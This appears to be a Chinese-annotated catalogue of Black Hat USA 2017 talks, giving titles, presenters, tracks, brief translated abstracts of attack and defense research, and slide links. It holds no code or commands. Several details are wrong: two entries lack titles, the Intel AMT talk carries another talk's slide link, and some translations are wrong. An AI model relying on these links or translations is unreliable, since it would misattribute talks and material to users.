【1】ALL YOUR SMS & CONTACTS BELONG TO ADUPS & OTHERS

PRESENTED BY Ryan Johnson & Angelos Stavrou & Azzedine Benameur

Tracks: # Mobile, # Malware

您所有的短信和联系人属于adups及他人
【摘要】本文确定了几种Android移动设备型号,其中包含固件,用于收集有关用户的敏感个人数据,并将此敏感数据传输到中国的第三方服务器 - 未经披露或用户同意。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Johnson-All-Your-SMS-&-Contacts-Belong-To-Adups-&-Others.pdf


【2】NEW ADVENTURES IN SPYING 3G AND 4G USERS: LOCATE, TRACK & MONITOR

PRESENTED BY Ravishankar Borgaonkar & Shinjo Park & Lucca Hirschi & Altaf Shaik & Andrew Martin & Jean-Pierre Seifert

Tracks: # Mobile, # Cryptography

秘密监视3G和4G用户的新冒险:定位跟踪与监控
【摘要】本文引入了新的攻击向量,可以对移动用户进行跟踪和活动监控。发现了3G和4G蜂窝网络中广泛部署的加密协议的新缺陷,并将讨论使用低成本设置来利用这个缺陷的不同方法。然后提出了几个攻击,以展示其对携带3G和4G设备的终端用户的影响。最后将讨论应对这些隐私问题的对策。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Borgaonkar-New-Adventures-In-Spying-3G-And-4G-Users-Locate-Track-And-Monitor.pdf


【3】SS7 ATTACKER HEAVEN TURNS INTO RIOT: HOW TO MAKE NATION-STATE AND INTELLIGENCE ATTACKERS’ LIVES MUCH HARDER ON MOBILE NETWORKS

PRESENTED BY Martin Kacer & Philippe Langlois

Tracks: # Mobile, # Network Defense

SS7攻击者天堂变成骚乱:如何使攻击者在移动网络上更难生存
【摘要】SS7移动漏洞影响全球所有移动用户的安全。本文将讨论当前状态,可能的解决方案,并概述高级SS7攻击,以及如何使用我们发布的开源SS7防火墙进行防御。采用这种信令防火墙可以帮助减少主动和被动攻击的暴露程度。我们将介绍此解决方案的功能,包括信令加密,向中央威胁情报报告攻击,并将攻击者转发到蜜罐。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Kacer-SS7-Attacker-Heaven-Turns-Into-Riot-How-To-Make-Nation-State-And-Intelligence-Attackers-Lives-Much-Harder-On-Mobile-Networks.pdf


【4】THE FUTURE OF APPLEPWN - HOW TO SAVE YOUR MONEY

PRESENTED BY Timur Yunusov

Tracks: # Mobile, # Malware

APPLEPWN的未来 - 如何节省你的钱
【摘要】本文将介绍一个特别开发的开源实用程序,它演示了黑客如何将卡重新连接到iPhone,或直接在受害者的手机(即使没有越狱)上进行欺诈性付款。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Yunusov-The-Future-Of-Applepwn-How-To-Save-Your-Money.pdf


PRESENTED BY Haoqi Shan & Jun Li & Yuwei Zheng & Lin Huang & Qing Yang

Tracks: # Mobile, # Network Defense

在4G LTE CS Fallback上的“GHOST TELEPHONIST”链接劫持利用
【摘要】绍了4G LTE网络中CSFB(Circuit Switched Fallback)中的一个漏洞。发现在CSFB程序中缺少认证步骤,攻击者可以用这个漏洞来劫持受害者的通信。通过实验进行对漏洞进行验证,最后提出了对策。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Yuwei-Ghost-Telephonist-Link-Hijack-Exploitations-In-4G-LTE-CS-Fallback.pdf


【6】HONEY, I SHRUNK THE ATTACK SURFACE – ADVENTURES IN ANDROID SECURITY HARDENING

PRESENTED BY Nick Kralevich

Tracks: # Mobile, # Platform Security

亲爱的,我缩小了攻击面 —— 安卓安全加固的冒险
【摘要】本文讨论了Android的攻击面减少的历史,以及如何适应更广泛的Android安全故事。将详细介绍用于实现攻击面减少的具体技术策略,并探讨由于过去几年的加固而导致的无法触及的特定错误,最后将检查加固的总体结果和改进的领域。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Kralevich-Honey-I-Shrunk-The-Attack-Surface-Adventures-In-Android-Security-Hardening.pdf


【7】DEFEATING SAMSUNG KNOX WITH ZERO PRIVILEGE

PRESENTED BY Di Shen

Tracks: # Mobile, # Exploit Development

击败具有零特权级的SAMSUNG KNOX
【摘要】本文将描述如何使用一个漏洞链来来击败具有零特权的新的三星KNOX(利用链可以由任何不受信任的应用执行),包括KASLR绕过,DFI绕过,SELinux完全绕过和特权升级。演示文稿中将给出所有的漏洞和缓解绕过技术的细节。。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Shen-Defeating-Samsung-KNOX-With-Zero-Privilege.pdf


【8】BLUE PILL FOR YOUR PHONE

PRESENTED BY Oleksandr Bazhaniuk & Yuriy Bulygin

Tracks: # Mobile, # Malware

您手机的蓝色药丸
【摘要】本文探讨在使用Google Nexus 5X,Nexus 6P和Pixel作为主要目标的现代ARM手机中的虚拟机管理程序和TrustZone监视器的攻击面。使用SMC和其他接口以及TrustZone和管理程序特权级别之间的交互方法来解释不同的攻击场景。探索可以允许恶意操作系统(EL1)级别将权限升级到管理程序(EL2)级别的攻击向量,并可能在虚拟机管理程序中安装虚拟化rootkit。还将通过SMC和其他低级接口,TrustZone和管理程序(EL2)特权级别之间的交互来探索攻击向量。将发布ARM对CHIPSEC框架和新模块的支持,以测试基于ARM的虚拟机管理程序和TrustZone实现中的问题,包括SMC fuzzer。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Bazhaniuk-BluePill-For-Your-Phone.pdf


【9】CLOAK & DAGGER: FROM TWO PERMISSIONS TO COMPLETE CONTROL OF THE UI FEEDBACK LOOP

PRESENTED BY Yanick Fratantonio & Chenxiong Qian & Simon Pak Ho Chung & Wenke Lee

Tracks: # Mobile, # Platform Security

斗篷和匕首:从两个权限到完全控制UI反馈回路
【摘要】本文演示了如何组合SYSTEM_ALERT_WINDOW和BIND_ACCESSIBILITY_SERVICE Android权限的功能可以完全控制UI反馈循环并创建毁灭性和隐身攻击。同时演示了具有这两个权限的应用程序如何启动各种隐身,强大的攻击,从窃取用户的登录凭据和安全PIN,到默默安装具有所有权限的应用程序。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Fratantonio-Cloak-And-Dagger-From-Two-Permissions-To-Complete-Control-Of-The-UI-Feedback-Loop.pdf



Data Forensics/Incident Response

【1】HACKING SERVERLESS RUNTIMES: PROFILING AWS LAMBDA, AZURE FUNCTIONS, AND MORE

PRESENTED BY Andrew Krug & Graham Jones

Tracks: # Data Forensics/Incident Response, # Platform Security

破解无服务器的运行:概述AWS LAMBDA AZURE等功能
【摘要】本文将深入了解在研究中发现的公共数据和信息,解释在没有服务器的情况下是如何工作的,以及在无服务器云Azure,AWS和其他一些沙盒上的攻击链。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Krug-Hacking-Severless-Runtimes.pdf


【2】FIGHTING TARGETED MALWARE IN THE MOBILE ECOSYSTEM

PRESENTED BY Megan Ruthven & Andrew Blaich

Tracks: # Data Forensics/Incident Response, # Mobile

在移动生态系统中打击目标恶意软件
【摘要】本文将重新叙述如何使用基于设备和云安全服务的组合来追捕Chrysaor。将详细介绍使用这个方法和技术来检测这个恶意软件,然后将讨论如何使用我们开发的安装图引擎来确定其属性。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Ruthven-Fighting-Targeted-Malware-In-The-Mobile-Ecosystem.pdf


【3】REVOKE-OBFUSCATION: POWERSHELL OBFUSCATION DETECTION (AND EVASION) USING SCIENCE

PRESENTED BY Daniel Bohannon & Lee Holmes

Tracks: # Data Forensics/Incident Response

Revoke-Obfuscation:利用科学进行Powershell混淆技术检测(规避)
【摘要】本文介绍了Revoke-Obfuscation,一个PowerShell框架,通过对任意PowerShell命令或脚本应用一套独特的统计分析,字符分配和命令调用检查来帮助检测模糊的PowerShell命令和脚本。它与PowerShell .evtx文件,命令行,脚本,ScriptBlock日志,模块日志一起使用,并允许轻松添加新的自定义指示器。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science.pdf



Reverse Engineering

【1】EVILSPLOIT – A UNIVERSAL HARDWARE HACKING TOOLKIT

PRESENTED BY Chui Yew Leong & Mingming Wan

Tracks: # Reverse Engineering, # Hardware/Embedded

EVILSPLOIT - 通用硬件黑客工具包
【摘要】本文将介绍一种新的方法,允许使用连接矩阵来提供端口标识和操作。由此,可以以阵列的形式构造任意的模拟相似连接,以实现总线接口芯片和目标之间的所有互连模式。因此,一旦找到适当的配置端口,它可以用于调试或固件dumping。此外,它还是未知信号分析,侧信道分析(SCA)和故障注入(FI)的理想辅助工具。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Chui-Evilsploit-A-Universal-Hardware-Hacking-Toolkit.pdf


【2】RVMI: A NEW PARADIGM FOR FULL SYSTEM ANALYSIS

PRESENTED BY NJonas Pfoh & Sebastian Vogl

Tracks: # Reverse Engineering, # Malware

RVMI:全面系统分析的新范式
【摘要】本文提供了rVMI,一个将VMI和Rekall(强大的内存取证框架)组合起来的系统,为可脚本化和交互式恶意软件分析提供平台。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Pfoh-rVMI-A-New-Paradigm-For-Full-System-Analysis.pdf


【3】ATTACKING ENCRYPTED USB KEYS THE HARD(WARE) WAY

PRESENTED BY Jean-Michel Picod & Rémi Audebert & Elie Bursztein

Tracks: # Reverse Engineering, # Hardware/Embedded

攻击加密USB密钥的hard(ware)方式
【摘要】本文将介绍从软件和硬件两个角度评估AES硬件加密的USB设备。通过一系列案例研究来证明这种方法在实践中如何运作,并将展示在审核期间发现的一些实际攻击,以便您了解要查找的漏洞类型以及如何利用它们。掌握了这些知识和我们的工具,您将能够评估您选择的USB设备的安全性。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Picod-Attacking-Encrypted-USB-Keys-The-Hard(ware)-Way.pdf


Hardware/Embedded

【1】BREAKING ELECTRONIC DOOR LOCKS LIKE YOU’RE ON CSI: CYBER

PRESENTED BY Colin O’Flynn

Tracks: # Hardware/Embedded, # Reverse Engineering

打破电子门锁类似于CSI:CYBER(美剧网络犯罪现场调查)
【摘要】本文讨论了一些消费级电子锁,目的是像你在电影中看到的那样打破它们。详细介绍了这些锁上的电子产品,并讨论黑客绕过它们时可以利用的漏洞。

Slides:https://www.blackhat.com/docs/us-17/wednesday/us-17-OFlynn-Breaking-Electronic-Locks.pdf


【2】GO NUCLEAR: BREAKING RADIATION MONITORING DEVICES

PRESENTED BY Ruben Santamarta

Tracks: # Hardware/Embedded, # Reverse Engineering

GO NUCLEAR:打破辐射监测设备
【摘要】本文将全面描述用于发现影响广泛部署的辐射监测设备的多个漏洞的技术细节和方法,涉及软件和固件逆向工程,RF分析和硬件黑客攻击。

Slides:https://www.blackhat.com/docs/us-17/wednesday/us-17-Santamarta-Go-Nuclear-Breaking%20Radition-Monitoring-Devices.pdf


【3】OPENCRYPTO: UNCHAINING THE JAVACARD ECOSYSTEM

PRESENTED BY Vasilios Mavroudis & George Danezis & Petr Svenda & Dan Cvrcek

Tracks: # Hardware/Embedded

Opencrypto:解除JavaCard系统
【摘要】本文将介绍OpenCrypto库,使程序员能够利用没有被绑定到一个特定的供应商的JavaCard(例如,加密协处理器)的所有功能。将低级字节操作技巧和数学性质结合从高级加密方法(例如,RSA加密)重建低级算术运算(例如,整数乘法,ECPoint加法),从而消除了生态系统中特定于供应商的依赖关系。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Mavroudis-Opencrypto-Unchaining-The-JavaCard-Ecosystem.pdf


【4】SONIC GUN TO SMART DEVICES: YOUR DEVICES LOSE CONTROL UNDER ULTRASOUND/SOUND

PRESENTED BY Zhengbo Wang & Wang Kang & Bo Yang & Shangyuan LI & Aimin Pan

Tracks: # Hardware/Embedded, # Mobile

智能设备的音波枪:您的设备在超声波/声音下失去控制
【摘要】本文揭示了MEMS传感器的一个脆弱性,内部感测元件会在施加的声波在某些频率时产生谐振,从而产生损坏的数据。并开发了攻击方法,通过对参数的精确调整实现了对陀螺仪和加速度计的数据操作。同时介绍了几种针对硬件和软件的对策来减轻漏洞。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Wang-Sonic-Gun-To-Smart-Devices-Your-Devices-Lose-Control-Under-Ultrasound-Or-Sound.pdf


【5】FIRMWARE IS THE NEW BLACK - ANALYZING PAST THREE YEARS OF BIOS/UEFI SECURITY VULNERABILITIES

PRESENTED BY Rodrigo Branco & Vincent Zimmer & Bruce Monroe

Tracks: # Hardware/Embedded, # Platform Security

固件是新的黑色地带 - 分析过去三年 BIOS/UEFI 上的安全漏洞
【摘要】本文考察了BIOS / UEFI平台固件,试图帮助了解威胁。提出了一个威胁模型,讨论了可能阻止这些问题的新缓解措施,并提供了有助于将投资重点放在保护系统(和发现新的漏洞)上的bug类别分类。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Branco-Firmware-Is-The-New-Black-Analyzing-Past-Three-Years-Of-BIOS-UEFI-Security-Vulnerabilities.pdf


【6】INTEL AMT STEALTH BREAKTHROUGH

PRESENTED BY Dmitriy Evdokimov & Alexander Ermolov & Maksim Malyutin

Tracks: # Hardware/Embedded, # Reverse Engineering

英特尔AMT的隐形突破
【摘要】英特尔主动管理技术(AMT)是基于它基于英特尔®ME和远程管理计算机系统的手段。本文将讨论远程Pwning几乎所有基于英特尔系统(自2010以后制造的)方法。

Slides:https://www.blackhat.com/docs/us-17/wednesday/us-17-Santamarta-Go-Nuclear-Breaking%20Radition-Monitoring-Devices.pdf


【7】BREAKING THE X86 INSTRUCTION SET

PRESENTED BY Christopher Domas

Tracks: # Hardware/Embedded, # Platform Security

打破X86指令集
【摘要】本文将演示如何利用页面故障分析和一些创意处理器模糊来彻底搜索x86指令集,并发现掩埋在芯片组中的秘密。将披露新的x86硬件故障,包括以前未知的机器指令,无处不在的软件错误和在企业hypervisor中的缺陷。并且会释放sandsifter工具,以便您可以审核和突破自己的处理器。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Domas-Breaking-The-x86-ISA.pdf



Cryptography

【1】AUTOMATED TESTING OF CRYPTO SOFTWARE USING DIFFERENTIAL FUZZING

PRESENTED BY Jean-Philippe Aumasson & Yolan Romailler

Tracks: # Cryptography, # Security Development Lifecycle

使用差分FUZZING自动化测试软件
【摘要】本文提出了一种新的高效的密码软件系统测试方法:差分模糊。将发布CDF,一种实现大多数通用加密API的差分模糊的工具,将差分模糊与许多单元测试相结合,以检测特定于所测试的加密功能的漏洞。由于采用了最先进的泄漏检测技术,它还可以检测定时泄漏。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Aumasson-Automated-Testing-Of-Crypto-Software-Using-Differential-Fuzzing.pdf


【2】INTERCEPTING ICLOUD KEYCHAIN

PRESENTED BY Alex Radocea

Tracks: # Cryptography, # Mobile

关闭ICLOUD KEYCHAIN
【摘要】iCloud Keychain采用端到端加密来同步iCloud注册设备的秘密。本文发现了一个关键的加密实现缺陷,这将使得熟练的攻击者能够通过iCloud通信特权访问到中间iCloud Keychain并同步获得对iCloud Keychain秘密的明文访问。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Radocea-Intercepting-iCloud-Keychain.pdf


【3】INTEL SGX REMOTE ATTESTATION IS NOT SUFFICIENT

PRESENTED BY Yogesh Swami

Tracks: # Cryptography, # Platform Security

INTEL SGX远程登录不是很有效
【摘要】本文提出英特尔提供的SGX远程认证不足以保证在云中运行未修改的应用程序的机密性和完整性,并通过三个实例进行了展示。然后将讨论有关远程认证机制的细节。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Swami-SGX-Remote-Attestation-Is-Not-Sufficient-wp.pdf



Enterprise

【1】AN ACE UP THE SLEEVE: DESIGNING ACTIVE DIRECTORY DACL BACKDOORS

PRESENTED BY Andy Robbins & Will Schroeder

Tracks: # Enterprise

一个王牌套:设计活动目录的DACL(自由访问控制列表)后门
【摘要】本文将深入讨论Active Directory DACL,“配置错误分类法”,以及BloodHound新发布的功能集的枚举/分析;将介绍为提高域名权限滥用AD DACL的错误配置;最后将介绍如何设计AD DACL后门,包括避免当前检测的方法,并将为所描述的所有内容提供防御性缓解/检测技术。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors.pdf


【2】WSUSPENDU: HOW TO HANG WSUS CLIENTS

PRESENTED BY Romain Coltel & Yves Le Provost

Tracks: # Enterprise, # Platform Security

WSUSPENDU:如何挂起WSUS客户端
【摘要】本文介绍一种新的方法,规避一些限制,从拥有的WSUS服务器控制目标网络。将描述易受攻击的体系结构,并用新的公共工具对攻击进行上下文演示。最后还将解释如何保护您的更新架构。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Coltel-WSUSpendu-Use-WSUS-To-Hang-Its-Clients.pdf


【3】ESCALATING INSIDER THREATS USING VMWARE’S API

PRESENTED BY Ofri Ziv

Tracks: # Enterprise, # Policy

使用VMWARE的API逐步升级内部威胁
【摘要】VMWare VIX API允许具有所需vSphere权限的用户在VMWare平台产品之间自动执行客户机操作功能,VIX包含一个破坏此安全模式的未记录功能,使恶意用户能够绕过访客域身份验证。本文将提供一个真实示例来暴露VMWare的这个安全设计缺陷,展示攻击者从配置虚拟机到运行具有root权限的命令的容易程度。最后发布一个用来测试哪些用户能够接管客户机的工具。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Ziv-Escalating-Insider-Threats-Using-Vmware's-Api.pdf


【4】THE INDUSTRIAL REVOLUTION OF LATERAL MOVEMENT

PRESENTED BY Tal Be’ery & Tal Maor

Tracks: # Enterprise

横向移动的工业革命
【摘要】本文将介绍自动化横向领域最新进展,随后演示和发布一款新的开源横向移动自动化工具“GoFetch”。 我们最后将讨论横向行动工业化对攻击者和维权者的影响。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Beery-The-Industrial-Revolution-Of-Lateral-Movement.pdf


【5】EVADING MICROSOFT ATA FOR ACTIVE DIRECTORY DOMINATION

PRESENTED BY Nikhil Mittal

Tracks: # Enterprise, # Network Defense

规避微软在Active Directory的统治
【摘要】Microsoft Advanced Threat Analytics(ATA)是一个防御平台,可从多个来源如某些协议的流量、域控制器、Windows事件日志和SIEM事件等中读取信息,所收集的信息用于检测。本文将探讨如何逃避这种坚实的检测机制,如何修改其攻击链和方法来绕过ATA,并作出相应的展示。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Mittal-Evading-MicrosoftATA-for-ActiveDirectory-Domination.pdf


【6】LIES, AND DAMN LIES: GETTING PAST THE HYPE OF ENDPOINT SECURITY SOLUTIONS

PRESENTED BY Lidia Giuliano & Mike Spaulding

Tracks: # Enterprise, # Malware

LIES和DAMN LIES:结束了端终端安全解决方案的炒作
【摘要】本文为端点保护系统投入了大量时间,为业务案例进行了大量投资 - 了解问题,制定测试场景来评估市场上的5种解决方案。讨论了要测试什么恶意软件,以及如何测试其端点安全性,决策过程中使用的关键考虑因素。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Giuliano-Lies-And-Damn-Lies-Getting-Past-The-Hype-Of-Endpoint-Security-Solutions.pdf



Platform Security

【1】TAKING DMA ATTACKS TO THE NEXT LEVEL: HOW TO DO ARBITRARY MEMORY READS/WRITES IN A LIVE AND UNMODIFIED SYSTEM USING A ROGUE MEMORY CONTROLLER

PRESENTED BY Anna Trikalinou & Dan Lake

Tracks: # Platform Security, # Hardware/Embedded

把DMA攻击带到下一个层次:如何使用一个流氓内存控制器在一个实时和未修改的系统中进行任意内存读写操作
【摘要】本文将介绍一种不可检测的新颖的物理的DMA攻击,不需要特定的端口,只是利用标准DIMM插槽硬件设计的固有漏洞。用定制的PCB探头与FPGA,我们能够在系统系统处于S3(睡眠状态)时,以非侵入的方式连接到现成的桌面系统的暴露的DDR4引脚。将自己标记为系统的良性记忆控制器,从而能够读取或修改任何物理地址的内存,并且使受害者系统在退出睡眠状态时接受修改。将重点介绍如何在系统处于S3睡眠状态时逆向设计内存控制器和DIMM电路,将信号注入受害系统的内存总线。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Trikalinou-Taking-DMA-Attacks-To-The-Next-Level-How-To-Do-Arbitrary-Memory-Reads-Writes-In-A-Live-And-Unmodified-System-Using-A-Rogue-Memory-Controller.pdf


【2】FRACTURED BACKBONE: BREAKING MODERN OS DEFENSES WITH FIRMWARE ATTACKS

PRESENTED BY Yuriy Bulygin & Mikhail Gorobets & Oleksandr Bazhaniuk & Andrew Furtak

Tracks: # Platform Security, # Enterprise

破裂的背景:通过固件攻击破解现代操作系统防御
【摘要】本文首先详细介绍在包括UEFI,Mac EFI和Coreboot在内的系统固件中发现的漏洞和攻击,并开发了多种技术用于检测正在使用开源框架chipsec的固件上的错误。然后针对现代操作系统开始采用基于虚拟化技术的更强的软件防御,发现多种方式可以利用固件来攻击虚拟机管理程序。还展示了第一个针对Windows 10 VBS的概念验证攻击,暴露了由Credential Guard技术保护的域名。最后从固件和硬件攻击的角度,来分析基于现代虚拟机管理程序的操作系统防御的安全性,并将详细介绍可用于危及Windows 10 VBS的固件辅助攻击向量,还将描述平台供应商和Windows为改善对这些攻击的缓解所做的更改。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Bulygin-Fractured-Backbone-Breaking-Modern-OS-Defenses-With-Firmware-Attacks.pdf


【3】KR^X: COMPREHENSIVE KERNEL PROTECTION AGAINST JUST-IN-TIME CODE REUSE

PRESENTED BY Marios Pomonis

Tracks: # Platform Security

KR^X:针对JUST-IN-TIME代码重用的全面内核保护
【摘要】本文提出了一个防止内核代码重用攻击的核心硬化方案,通过将代码多样化与执行“读取XOR执行”(R^X)内存安全策略相结合实现了这一点。展示如何在不使用虚拟机管理程序或超级特权组件的情况下,采用主要以一组GCC插件实现的自强化方法实现此目标。然后讨论了多种方法来防止返回地址泄漏。最后探讨如何利用硬件支持,如现代英特尔®CPU上的MPX来优化性能。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Pomonis-KR%5EX-%20Comprehensive-%20Kernel-Protection-Against-Just-In-Time-Code-Reuse.pdf


【4】WELL THAT ESCALATED QUICKLY! HOW ABUSING DOCKER API LED TO REMOTE CODE EXECUTION SAME ORIGIN BYPASS AND PERSISTENCE IN THE HYPERVISOR VIA SHADOW CONTAINERS

PRESENTED BY Michael Cherny & Sagie Dulce

Tracks: # Platform Security, # Enterprise

如何通过Shadow Containers滥用Docker API导致远程执行代码同源旁路和持续攻击虚拟机管理程序
【摘要】本文首先显示当开发人员访问恶意网页时,将会如何颠覆他的内部网络,并展示如何在开发者机器上保持持续和隐身而不会被检测到。使用两种新的攻击形式:主机重新绑定和Shadow Containers。主机重新绑定将用于绕过浏览器的同源保护,而Shadow Containers是使用容器的管理程序上的持久性技术。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence.pdf


【5】BETRAYING THE BIOS: WHERE THE GUARDIANS OF THE BIOS ARE FAILING

PRESENTED BY Alex Matrosov

Tracks: # Platform Security, # Reverse Engineering

背叛BIOS:BIOS的监护在哪里失效了
【摘要】本文将从攻击者和防御者的竞争角度解释UEFI的安全性。同时介绍一些主题,包括硬件供应商如何将SMM和SPI闪存对rootkit开放;如Intel Boot Guard和BIOS Guard(以及单独的Authenticated Code Module CPU)的技术如何杀死它们;以及这些保护技术的弱点。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Matrosov-Betraying-The-BIOS-Where-The-Guardians-Of-The-BIOS-Are-Failing.pdf



Policy

【1】SO YOU WANT TO MARKET YOUR SECURITY PRODUCT…

PRESENTED BY Aaron Alva & Terrell McSweeny

Tracks: # Policy, # Security Development Lifecycle

所以你想要营销你的安全产品…
【摘要】本文讨论联邦贸易委员会(FTC)长期以来的权力,以保护消费者免受不公正和欺骗性的做法。将重点关注欺诈性声明和广告是否违反FTC法案,并就安全公司应该如何避免欺诈性索赔提供指导。还提出研究人员和安全专业人员可以要求向索赔公司做出挑战的问题。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Alva-So-You-Want-To-Market-Your-Security-Product.pdf


【2】WHAT THEY’RE TEACHING KIDS THESE DAYS: COMPARING SECURITY CURRICULA AND ACCREDITATIONS TO INDUSTRY NEEDS

PRESENTED BY Chaim Sanders & Rob Olson

Tracks: # Policy, # Applied Security

他们今天教孩子们的是什么:比较安全课程和对工业需求的认可
【摘要】本文将探讨安全课程传统上是如何发展的,以及如何持续受到各种力量的影响。将研究一些提出的认证方案解决方案,并分析其优缺点。随后,我们将尝试确定每种模式的学生是如何产生的,并就如何规范安全教育提出自己的建议。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Sanders-What-Theyre-Teaching-Kids-These-Days-Comparing-Security-Curricula-And-Accreditations-To-Industry-Needs.pdf


PRESENTED BY Karen Neuman & Jacob Osborn

Tracks: # Policy, # Applied Security

白帽子特权:网络安全专业人士寻求保护敏感客户数据的法律环境
【摘要】本文将研究网络安全专业人员寻求保护客户敏感客户数据的法律环境。我们将讨论合同形成,风险分配以及在形成服务合同期间出现的其他法律问题。将重点处理PII,跨境数据转移,知识产权和出口管制问题的法律制度。而且由于安全专业人员不是静态的,我们还将审查边境口岸,包括TSA /海关的权限,以搜索和抓住可能拥有客户数据的设备。

Slides: https://www.blackhat.com/docs/us-17/wednesday/us-17-Osborn-White-Hat-Privilege-The-Legal-Landscape-For-A-Cybersecurity-Professional-Seeking-To-Safeguard-Sensitive-Client-Data.pdf


【4】BUG COLLISIONS MEET GOVERNMENT VULNERABILITY DISCLOSURE

PRESENTED BY Trey Herr & Jason Healey & Kim Zetter & Lillian Ablon & Katie Moussouris

Tracks: # Policy

Bug的碰撞满足政府的漏洞披露
【摘要】脆弱性股票过程(VEP)有助于确定美国政府已知的软件漏洞是否会被泄露或保密。该计算的关键部分是其他方可能发现了同样的漏洞的可能性。本文将分开讨论从这些报告中得到的主要关键信息和其对政府的影响。

Slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Herr-Bug-Collisions-Meet-Government-Vulnerability-Disclosure.pdf



Exploit Development

【1】MANY BIRDS, ONE STONE: EXPLOITING A SINGLE SQLITE VULNERABILITY ACROSS MULTIPLE SOFTWARE

PRESENTED BY MSiji Feng & Zhi Zhou & Kun Yang

Tracks: # Exploit Development

一石二鸟:利用一个单一的SQLite漏洞穿过多种软件
【摘要】本文将研究几个可远程利用的内存损坏情况,以显示SQLite中的危险攻击面。同时介绍几个以前的SQLite问题,并讨论它们如何影响浏览器以及如何修复它们。此外,将提出一个在Pwn2Own 2017中被用来损害Apple Safari的SQLite新漏洞。最后将在PHP SQLite扩展中展示绕过PHP安全限制的SQLite利用。

Slides:https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf


【2】TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAGING WRITE-WHAT-WHERE VULNERABILITIES IN CREATORS UPDATE

PRESENTED BY Morten Schenk

Tracks: # Exploit Development, # Platform Security

把WINDOWS 10 KERNEL漏洞利用带入下一个级别–在CREATORS UPDATE中引用WRITE-WHAT-WHERE 漏洞
【摘要】本文回顾了许多强大的读写内核原语,提出的技术包括滥用Microsoft已经尝试多次锁定的内核模式的Window和Bitmap对象,提供一种通用的方法来利用WRITE-WHAT-WHERE 漏洞。将在公开两个Windows 10 Creators Update中以前未知的KASLR旁路,展示如何通过动态逆向工程实现页面表项的一般去随机化。总之,本文全面检查了Windows内核的利用,揭示了将来的内核驱动程序漏洞可以利用的多种通用方法。

Slides:https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf


【3】BOCHSPWN RELOADED: DETECTING KERNEL MEMORY DISCLOSURE WITH X86 EMULATION AND TAINT TRACKING

PRESENTED BY Mateusz Jurczyk

Tracks: # Exploit Development, # Reverse Engineering

Bochspwn重新加载:通过x86仿真和跟踪技术检测内核内存泄漏
【摘要】本文介绍了一类内核漏洞–将未初始化的栈和堆内存公开给用户模式的应用程序,这种信息泄漏几乎没有足迹,普遍存在于现在的内核(尤其是Windows),可能会被滥用来抵御某些漏洞利用的缓解或者窃取在ring-0中的敏感数据。为了解决这个问题,开发了一种基于初步内核记忆的污迹跟踪的新型Bochspwn。

Slides:https://www.blackhat.com/docs/us-17/wednesday/us-17-Jurczyk-Bochspwn-Reloaded-Detecting-Kernel-Memory-Disclosure-With-X86-Emulation-And-Taint-Tracking.pdf


【4】BROADPWN: REMOTELY COMPROMISING ANDROID AND IOS VIA A BUG IN BROADCOM’S WI-FI CHIPSETS

PRESENTED BY Nitay Artenstein

Tracks: # Exploit Development, # Reverse Engineering

BROADPWN:通过BROADCOM WI-FI芯片组bug远程控制ANDROID和IOS
【摘要】Broadpwn,是Broadcom Wi-Fi芯片组中的一个漏洞,可以在没有用户交互的情况下远程触发。本文将深入了解BCM4354,458和4359 Wi-Fi芯片组的内部结构,探讨神秘的封闭源HNDRTE操作系统的运作。然后讲述如何发现了bug并利用它来实现完整的代码执行,以及如何利用对Wi-Fi芯片的控制,以在主应用处理器中运行代码。

Slides:https://www.blackhat.com/docs/us-17/thursday/us-17-Artenstein-Broadpwn-Remotely-Compromising-Android-And-iOS-Via-A-Bug-In-Broadcoms-Wifi-Chipsets.pdf


【5】THE ORIGIN OF ARRAY [@@SPECIES]: HOW STANDARDS DRIVE BUGS IN SCRIPT ENGINES

PRESENTED BY Natalie Silvanovich

Tracks: # Exploit Development, # Platform Security

